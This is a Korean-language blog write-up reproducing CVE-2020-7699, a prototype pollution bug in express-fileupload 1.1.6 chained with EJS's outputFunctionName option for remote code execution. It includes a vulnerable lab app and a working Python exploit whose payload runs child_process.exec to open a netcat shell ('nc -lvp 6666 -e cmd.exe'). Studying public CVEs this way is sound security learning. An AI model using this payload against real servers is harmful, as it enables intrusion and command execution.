http://blog.p6.is/Real-World-JS-1/
posix님이 발견하신 CVE-2020-7699 취약점이 너무나 흥미로워 보였고, 유익한 내용이기에 적어본다.
실습 환경은 express-fileupload@1.1.6 버전을 사용해야한다.
우선, prototype pollution 에 대해 간단하게 표현해보자면, 아래와 같다.
var a = {}
var b = {}
b.__proto__.pollution = '1'
console.log(a.pollution)
// '1'
자칫 신경 안써도 될 것 같아 보이지만, express-fileupload@1.1.6 에서 parseNested option이 설정돼있으면 아래와 같은 내부 동작이 이루어진다.
// node_modules\express-fileupload\lib\processMultipart.js
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body);
req.files = processNested(req.files);
}
if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});
options.parseNested 가 참이라면, processNested 함수를 호출한다.
//node_modules\express-fileupload\lib\processNested.js
module.exports = function(data){
if (!data || data.length < 1) return {};
let d = {},
keys = Object.keys(data);
for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\[/g), '.')
.replace(new RegExp(/\]/g), '')
.split('.');
for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}
return d;
};
위와 같이 processNested({'a.b.c':1}) 의 결과값은 {'a':{'b':{'c':1}}} 이 된다.
여기서, processNested({'__proto__.TEST':1}) 의 결과값은 어떻게 될까?
처음 for를 돌때 current = current.__proto__ 가 되고, 다음 for 에서 위의 조건에 걸려 current.__proto__.TEST = 1 이 실행된다.
이 prototype pollution은 EJS 모듈 등등 모듈과 함께하면 RCE 까지 가능해진다.
//node_modules\ejs\lib\ejs.js
compile: function () {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
/** @type {EscapeCallback} */
var escapeFn = opts.escapeFunction;
/** @type {FunctionConstructor} */
var ctor;
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}
위의 함수의 아래 부분에서 RCE가 가능해진다.
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
prototype pollution 을 이용해 __proto__.outputFunctionName 을 javascript code로 조작하면 RCE가 가능해진다.
-실습
app.js
// express-fileupload@1.1.6
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({parseNested:true}));
app.get('/',function(req,res){
console.log(Object.prototype.polluted);
res.render('index.ejs');
})
app.listen(7777)
ex.py
import requests
cmd = 'nc -lvp 6666 -e cmd.exe'
# pollute
requests.post('http://localhost:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://localhost:7777')
위와 같이 성공적으로 RCE가 된 것을 볼 수 있다.
prototype pollution 이 실제 어떻게 사용되고, 얼마나 위험한지 몰랐는데, 이번에 알게 된 것 같다.
'Hacking Note > Web' 카테고리의 다른 글
DarkCON CTF 에서 몰랐던 것들 (0) | 2021.02.21 |
---|